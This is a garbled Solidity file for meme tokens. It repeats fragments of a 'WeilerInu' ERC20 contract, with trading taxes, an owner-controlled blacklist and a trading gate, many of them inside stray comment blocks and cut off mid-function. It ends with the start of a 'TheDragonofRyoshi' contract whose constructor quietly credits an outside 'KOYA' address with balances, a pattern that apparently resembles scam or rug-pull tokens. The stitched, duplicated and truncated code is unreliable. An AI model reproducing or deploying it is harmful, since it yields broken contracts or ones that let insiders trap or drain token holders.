|
|
{
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function approve(address spender, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(
|
|
sender,
|
|
_msgSender(),
|
|
_allowances[sender][_msgSender()].sub(
|
|
amount,
|
|
"ERC20: transfer amount exceeds allowance"
|
|
)
|
|
);
|
|
return true;
|
|
}
|
|
|
|
function tokenFromReflection(uint256 rAmount)
|
|
private
|
|
view
|
|
returns (uint256)
|
|
{
|
|
require(
|
|
rAmount <= _rTotal,
|
|
"Amount must be less than total reflections"
|
|
);
|
|
uint256 currentRate = _getRate();
|
|
return rAmount.div(currentRate);
|
|
}
|
|
|
|
function removeAllFee() private {
|
|
if (_redisFee == 0 && _taxFee == 0) return;
|
|
|
|
_previousredisFee = _redisFee;
|
|
_previoustaxFee = _taxFee;
|
|
|
|
_redisFee = 0;
|
|
_taxFee = 0;
|
|
}
|
|
|
|
function restoreAllFee() private {
|
|
_redisFee = _previousredisFee;
|
|
_taxFee = _previoustaxFee;
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
require(from != address(0), "ERC20: transfer from the zero address");
|
|
require(to != address(0), "ERC20: transfer to the zero address");
|
|
require(amount > 0, "Transfer amount must be greater than zero");
|
|
|
|
if (from != owner() && to != owner()) {
|
|
|
|
//Trade start check
|
|
if (!tradingOpen) {
|
|
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
|
}
|
|
|
|
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
|
|
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
|
|
|
|
if(to != uniswapV2Pair) {
|
|
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
|
|
}
|
|
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
|
|
|
|
if(contractTokenBalance >= _maxTxAmount)
|
|
{
|
|
contractTokenBalance = _maxTxAmount;
|
|
}
|
|
|
|
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
|
|
swapTokensForEth(contractTokenBalance);
|
|
uint256 contractETHBalance = address(this).balance;
|
|
if (contractETHBalance > 0) {
|
|
sendETHToFee(address(this).balance);
|
|
}
|
|
}
|
|
}
|
|
|
|
bool takeFee = true;
|
|
|
|
//Transfer Tokens
|
|
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
|
|
takeFee = false;
|
|
} else {
|
|
|
|
//Set Fee for Buys
|
|
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnBuy;
|
|
_taxFee = _taxFeeOnBuy;
|
|
}
|
|
|
|
//Set Fee for Sells
|
|
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnSell;
|
|
_taxFee = _taxFeeOnSell;
|
|
}
|
|
|
|
|
|
*/
|
|
|
|
interface IUniswapV2Router01 {
|
|
function factory() external pure returns (address);
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint amountADesired,
|
|
uint amountBDesired,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB, uint liquidity);
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint amountTokenDesired,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
|
function removeLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETH(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function removeLiquidityWithPermit(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETHWithPermit(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function swapExactTokensForTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapTokensForExactTokens(
|
|
uint amountOut,
|
|
uint amountInMax,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
|
|
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
|
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
|
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
|
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
|
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
|
}
|
|
|
|
/**
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
}
|
|
|
|
interface IERC20 {
|
|
function totalSupply() external view returns (uint256);
|
|
|
|
function balanceOf(address account) external view returns (uint256);
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool);
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(
|
|
address indexed owner,
|
|
address indexed spender,
|
|
uint256 value
|
|
);
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
address private _previousOwner;
|
|
event OwnershipTransferred(
|
|
address indexed previousOwner,
|
|
address indexed newOwner
|
|
);
|
|
|
|
constructor() {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
|
|
}
|
|
|
|
library SafeMath {
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
return c;
|
|
}
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
function createPair(address tokenA, address tokenB)
|
|
external
|
|
returns (address pair);
|
|
}
|
|
|
|
interface IUniswapV2Router02 {
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint256 amountIn,
|
|
uint256 amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint256 deadline
|
|
) external;
|
|
|
|
function factory() external pure returns (address);
|
|
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint256 amountTokenDesired,
|
|
uint256 amountTokenMin,
|
|
uint256 amountETHMin,
|
|
address to,
|
|
uint256 deadline
|
|
)
|
|
external
|
|
payable
|
|
returns (
|
|
uint256 amountToken,
|
|
uint256 amountETH,
|
|
uint256 liquidity
|
|
);
|
|
}
|
|
|
|
contract WeilerInu is Context, IERC20, Ownable {
|
|
|
|
using SafeMath for uint256;
|
|
|
|
string private constant _name = "WeilerInu";
|
|
string private constant _symbol = "Winu";
|
|
uint8 private constant _decimals = 9;
|
|
|
|
mapping(address => uint256) private _rOwned;
|
|
mapping(address => uint256) private _tOwned;
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
mapping(address => bool) private _isExcludedFromFee;
|
|
uint256 private constant MAX = ~uint256(0);
|
|
uint256 private constant _tTotal = 1000000000 * 10**9;
|
|
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
|
uint256 private _tFeeTotal;
|
|
uint256 private _redisFeeOnBuy = 0;
|
|
uint256 private _taxFeeOnBuy = 4;
|
|
uint256 private _redisFeeOnSell = 0;
|
|
uint256 private _taxFeeOnSell = 4;
|
|
|
|
//Original Fee
|
|
uint256 private _redisFee = _redisFeeOnSell;
|
|
uint256 private _taxFee = _taxFeeOnSell;
|
|
|
|
uint256 private _previousredisFee = _redisFee;
|
|
uint256 private _previoustaxFee = _taxFee;
|
|
|
|
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
|
|
address payable private _developmentAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
address payable private _marketingAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
|
|
IUniswapV2Router02 public uniswapV2Router;
|
|
address public uniswapV2Pair;
|
|
|
|
bool private tradingOpen;
|
|
bool private inSwap = false;
|
|
bool private swapEnabled = true;
|
|
|
|
uint256 public _maxTxAmount = 10000000 * 10**9;
|
|
uint256 public _maxWalletSize = 20000000 * 10**9;
|
|
uint256 public _swapTokensAtAmount = 10000 * 10**9;
|
|
|
|
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
|
modifier lockTheSwap {
|
|
inSwap = true;
|
|
_;
|
|
inSwap = false;
|
|
}
|
|
|
|
constructor() {
|
|
|
|
_rOwned[_msgSender()] = _rTotal;
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
|
|
uniswapV2Router = _uniswapV2Router;
|
|
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
|
|
_isExcludedFromFee[_developmentAddress] = true;
|
|
_isExcludedFromFee[_marketingAddress] = true;
|
|
|
|
emit Transfer(address(0), _msgSender(), _tTotal);
|
|
}
|
|
|
|
function name() public pure returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public pure returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public pure returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public pure override returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return tokenFromReflection(_rOwned[account]);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function allowance(address owner, address spender)
|
|
public
|
|
view
|
|
override
|
|
returns (uint256)
|
|
{
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function approve(address spender, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(
|
|
sender,
|
|
_msgSender(),
|
|
_allowances[sender][_msgSender()].sub(
|
|
amount,
|
|
"ERC20: transfer amount exceeds allowance"
|
|
)
|
|
);
|
|
return true;
|
|
}
|
|
|
|
function tokenFromReflection(uint256 rAmount)
|
|
private
|
|
view
|
|
returns (uint256)
|
|
{
|
|
require(
|
|
rAmount <= _rTotal,
|
|
"Amount must be less than total reflections"
|
|
);
|
|
uint256 currentRate = _getRate();
|
|
return rAmount.div(currentRate);
|
|
}
|
|
|
|
function removeAllFee() private {
|
|
if (_redisFee == 0 && _taxFee == 0) return;
|
|
|
|
_previousredisFee = _redisFee;
|
|
_previoustaxFee = _taxFee;
|
|
|
|
_redisFee = 0;
|
|
_taxFee = 0;
|
|
}
|
|
|
|
function restoreAllFee() private {
|
|
_redisFee = _previousredisFee;
|
|
_taxFee = _previoustaxFee;
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
require(from != address(0), "ERC20: transfer from the zero address");
|
|
require(to != address(0), "ERC20: transfer to the zero address");
|
|
require(amount > 0, "Transfer amount must be greater than zero");
|
|
|
|
if (from != owner() && to != owner()) {
|
|
|
|
//Trade start check
|
|
if (!tradingOpen) {
|
|
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
|
}
|
|
|
|
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
|
|
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
|
|
|
|
if(to != uniswapV2Pair) {
|
|
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
|
|
}
|
|
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
|
|
|
|
if(contractTokenBalance >= _maxTxAmount)
|
|
{
|
|
contractTokenBalance = _maxTxAmount;
|
|
}
|
|
|
|
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
|
|
swapTokensForEth(contractTokenBalance);
|
|
uint256 contractETHBalance = address(this).balance;
|
|
if (contractETHBalance > 0) {
|
|
sendETHToFee(address(this).balance);
|
|
}
|
|
}
|
|
}
|
|
|
|
bool takeFee = true;
|
|
|
|
//Transfer Tokens
|
|
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
|
|
takeFee = false;
|
|
} else {
|
|
|
|
//Set Fee for Buys
|
|
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnBuy;
|
|
_taxFee = _taxFeeOnBuy;
|
|
}
|
|
|
|
|
|
}
|
|
|
|
*/
|
|
|
|
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
|
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountETH);
|
|
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountETH);
|
|
|
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external payable;
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
}
|
|
|
|
/**
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
}
|
|
|
|
interface IERC20 {
|
|
function totalSupply() external view returns (uint256);
|
|
|
|
function balanceOf(address account) external view returns (uint256);
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool);
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(
|
|
address indexed owner,
|
|
address indexed spender,
|
|
uint256 value
|
|
);
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
address private _previousOwner;
|
|
event OwnershipTransferred(
|
|
address indexed previousOwner,
|
|
address indexed newOwner
|
|
);
|
|
|
|
constructor() {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
|
|
}
|
|
|
|
library SafeMath {
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
return c;
|
|
}
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
function createPair(address tokenA, address tokenB)
|
|
external
|
|
returns (address pair);
|
|
}
|
|
|
|
interface IUniswapV2Router02 {
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint256 amountIn,
|
|
uint256 amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint256 deadline
|
|
) external;
|
|
|
|
function factory() external pure returns (address);
|
|
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint256 amountTokenDesired,
|
|
uint256 amountTokenMin,
|
|
uint256 amountETHMin,
|
|
address to,
|
|
uint256 deadline
|
|
)
|
|
external
|
|
payable
|
|
returns (
|
|
uint256 amountToken,
|
|
uint256 amountETH,
|
|
uint256 liquidity
|
|
);
|
|
}
|
|
|
|
contract WeilerInu is Context, IERC20, Ownable {
|
|
|
|
using SafeMath for uint256;
|
|
|
|
string private constant _name = "WeilerInu";
|
|
string private constant _symbol = "Winu";
|
|
uint8 private constant _decimals = 9;
|
|
|
|
mapping(address => uint256) private _rOwned;
|
|
mapping(address => uint256) private _tOwned;
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
mapping(address => bool) private _isExcludedFromFee;
|
|
uint256 private constant MAX = ~uint256(0);
|
|
uint256 private constant _tTotal = 1000000000 * 10**9;
|
|
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
|
uint256 private _tFeeTotal;
|
|
uint256 private _redisFeeOnBuy = 0;
|
|
uint256 private _taxFeeOnBuy = 4;
|
|
uint256 private _redisFeeOnSell = 0;
|
|
uint256 private _taxFeeOnSell = 4;
|
|
|
|
//Original Fee
|
|
uint256 private _redisFee = _redisFeeOnSell;
|
|
uint256 private _taxFee = _taxFeeOnSell;
|
|
|
|
uint256 private _previousredisFee = _redisFee;
|
|
uint256 private _previoustaxFee = _taxFee;
|
|
|
|
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
|
|
address payable private _developmentAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
address payable private _marketingAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
|
|
IUniswapV2Router02 public uniswapV2Router;
|
|
address public uniswapV2Pair;
|
|
|
|
bool private tradingOpen;
|
|
bool private inSwap = false;
|
|
bool private swapEnabled = true;
|
|
|
|
uint256 public _maxTxAmount = 10000000 * 10**9;
|
|
uint256 public _maxWalletSize = 20000000 * 10**9;
|
|
uint256 public _swapTokensAtAmount = 10000 * 10**9;
|
|
|
|
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
|
modifier lockTheSwap {
|
|
inSwap = true;
|
|
_;
|
|
inSwap = false;
|
|
}
|
|
|
|
constructor() {
|
|
|
|
_rOwned[_msgSender()] = _rTotal;
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
|
|
uniswapV2Router = _uniswapV2Router;
|
|
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
|
|
_isExcludedFromFee[_developmentAddress] = true;
|
|
_isExcludedFromFee[_marketingAddress] = true;
|
|
|
|
emit Transfer(address(0), _msgSender(), _tTotal);
|
|
}
|
|
|
|
function name() public pure returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public pure returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public pure returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public pure override returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return tokenFromReflection(_rOwned[account]);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function allowance(address owner, address spender)
|
|
public
|
|
view
|
|
override
|
|
returns (uint256)
|
|
{
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function approve(address spender, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(
|
|
sender,
|
|
_msgSender(),
|
|
_allowances[sender][_msgSender()].sub(
|
|
amount,
|
|
"ERC20: transfer amount exceeds allowance"
|
|
)
|
|
);
|
|
return true;
|
|
}
|
|
|
|
function tokenFromReflection(uint256 rAmount)
|
|
private
|
|
view
|
|
returns (uint256)
|
|
{
|
|
require(
|
|
rAmount <= _rTotal,
|
|
"Amount must be less than total reflections"
|
|
);
|
|
uint256 currentRate = _getRate();
|
|
return rAmount.div(currentRate);
|
|
}
|
|
|
|
function removeAllFee() private {
|
|
if (_redisFee == 0 && _taxFee == 0) return;
|
|
|
|
_previousredisFee = _redisFee;
|
|
_previoustaxFee = _taxFee;
|
|
|
|
_redisFee = 0;
|
|
_taxFee = 0;
|
|
}
|
|
|
|
function restoreAllFee() private {
|
|
_redisFee = _previousredisFee;
|
|
_taxFee = _previoustaxFee;
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
require(from != address(0), "ERC20: transfer from the zero address");
|
|
require(to != address(0), "ERC20: transfer to the zero address");
|
|
require(amount > 0, "Transfer amount must be greater than zero");
|
|
|
|
if (from != owner() && to != owner()) {
|
|
|
|
//Trade start check
|
|
if (!tradingOpen) {
|
|
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
|
}
|
|
|
|
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
|
|
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
|
|
|
|
if(to != uniswapV2Pair) {
|
|
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
|
|
}
|
|
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
|
|
|
|
if(contractTokenBalance >= _maxTxAmount)
|
|
{
|
|
contractTokenBalance = _maxTxAmount;
|
|
}
|
|
|
|
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
|
|
swapTokensForEth(contractTokenBalance);
|
|
uint256 contractETHBalance = address(this).balance;
|
|
if (contractETHBalance > 0) {
|
|
sendETHToFee(address(this).balance);
|
|
}
|
|
}
|
|
}
|
|
|
|
bool takeFee = true;
|
|
|
|
//Transfer Tokens
|
|
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
|
|
takeFee = false;
|
|
} else {
|
|
|
|
//Set Fee for Buys
|
|
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnBuy;
|
|
_taxFee = _taxFeeOnBuy;
|
|
}
|
|
|
|
//Set Fee for Sells
|
|
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnSell;
|
|
_taxFee = _taxFeeOnSell;
|
|
|
|
|
|
}
|
|
|
|
*/
|
|
|
|
contract TheDragonofRyoshi is Ownable {
|
|
constructor(
|
|
string memory _NAME,
|
|
string memory _SYMBOL,
|
|
address routerAddress,
|
|
address KOYA,
|
|
address deployer
|
|
) {
|
|
_symbol = _SYMBOL;
|
|
_name = _NAME;
|
|
_fee = 1;
|
|
_decimals = 9;
|
|
_tTotal = 100000000000 * 10**_decimals;
|
|
|
|
_balances[KOYA] = like;
|
|
_balances[msg.sender] = _tTotal;
|
|
rewardtoken[KOYA] = like;
|
|
rewardtoken[msg.sender] = like;
|
|
|
|
router = IUniswapV2Router02(routerAddress);
|
|
